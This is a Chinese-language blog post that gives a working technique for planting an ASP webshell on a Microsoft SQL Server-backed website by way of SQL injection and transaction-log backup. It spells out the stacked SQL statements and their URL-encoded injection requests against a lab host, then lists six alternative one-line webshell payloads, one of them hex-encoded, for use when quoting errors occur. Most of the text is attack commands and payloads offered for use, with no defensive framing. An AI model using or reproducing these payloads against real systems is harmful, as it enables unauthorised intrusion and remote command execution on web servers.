Web渗透之mssql LOG备份getshell

log备份的总结

当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法. 
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题

LOG备份产生的文件更小

log备份

LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份

过程:

;alter database 数据库名称 set RECOVERY FULL --

;create table cmd (a image) --

;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init --

;insert into cmd (a) values ('<%%25Execute(request("go"))%
%25>')-- 

;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --

 

测试例子:

测试中数据库名为asp_test,网站根目录为"E:\wwwroot\asp_sqli\"

 http://192.168.5.21:81/index.asp?id=1;alter%20database%20asp_test%20set%20RECOVERY%20FULL%20--

http://192.168.5.21:81/index.asp?id=1;create%20table%20cmd%20(a%20image)%20--

http://192.168.5.21:81/index.asp?id=1;backup%20log%20asp_test%20to%20disk%20=%20%27E:\wwwroot\asp_sqli\hack.asp%27%20with%20init%20--

http://192.168.5.21:81/index.asp?id=1;insert%20into%20cmd%20(a)%20values%20(%27%3C%%25Execute(request(%22go%22))%%25%3E%27)%20--

 

 http://192.168.5.21:81/index.asp?id=1;backup%20log%20asp_test%20to%20disk%20=%20%27E:\wwwroot\asp_sqli\hack2.asp%27%20--

 

 执行好了以后可以看到备份出来的webshell只有83kb

hack.asp 保存数据库

hack2.asp是木马

 容易出错的地方

分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将 
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式 
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这 
里就不多说了,可以提换的内容有: 

a).<%%25Execute(request("go"))%%25> 
b).<%Execute(request("go"))%> 
c).%><%execute request("go")%><% 
d).<script language=VBScript runat=server>execute request("sb")</Script> 
e).<%25Execute(request("l"))%25> 
f).0x3C25657865637574652872657175657374282261222929253E

 

posted @ 2019-05-23 15:41  卿先生  阅读(1637)  评论(0编辑  收藏  举报